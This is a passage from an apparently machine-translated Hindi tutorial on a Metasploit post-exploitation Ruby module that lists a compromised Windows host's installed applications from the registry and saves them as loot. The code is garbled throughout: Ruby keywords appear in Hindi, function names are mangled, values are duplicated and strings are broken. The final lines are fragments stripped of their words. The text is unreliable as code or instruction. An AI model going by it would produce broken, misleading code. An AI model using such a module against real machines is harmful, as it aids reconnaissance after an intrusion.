     dispnm = que_getvaldata ("# {k}", "DisplayName")
     फैलाव = nur_getvaldata ("# {k}", "DisplayVersion")
     tbl << [फैलाव, फैलाव] अगर dispnm और फैलाव बचाव 
     अंत 
     अंत 

स्क्रिप्ट की निम्न पंक्तियाँ संबंधित कॉलम में विभिन्न मानों के साथ तालिकाओं को भरती हैं। स्क्रिप्ट बिल्ट-इन रजिस्ट्री_गेटवाल्डडाटा फ़ंक्शन का उपयोग करती है, जो मानों को पुनर्प्राप्त करता है और उन्हें तालिका में जोड़ता है:

  परिणाम = tbl.to_s
    प्रिंट_लाइन ("\ n" + परिणाम + "\ n")
    p = store_loot ("host.applications", "text / plain", सत्र, परिणाम, "Applications.txt", "Installed Applications")
    Print_status ("में संग्रहीत परिणाम: # {p}")
    अंत
    डिफ रन
    Print_status ("# {sysinfo ['Computer']} पर इंस्टॉल किए गए एप्लिकेशन
    app_list
    अंत
    अंत 

स्क्रिप्ट की अंतिम कुछ पंक्तियों का उपयोग एप्लिकेशन को अलग पाठ फ़ाइल में जानकारी संग्रहीत करने के लिए किया जाता है। फ़ाइल store_loot फ़ंक्शन का उपयोग करके पॉपुलेटेड है, जो टेक्स्ट फ़ाइल में संपूर्ण तालिका सहेजती है।

applications.txt . store_loot , .

, , . , . Ruby .

, — Metasploit Framework — - : Metasploit Framework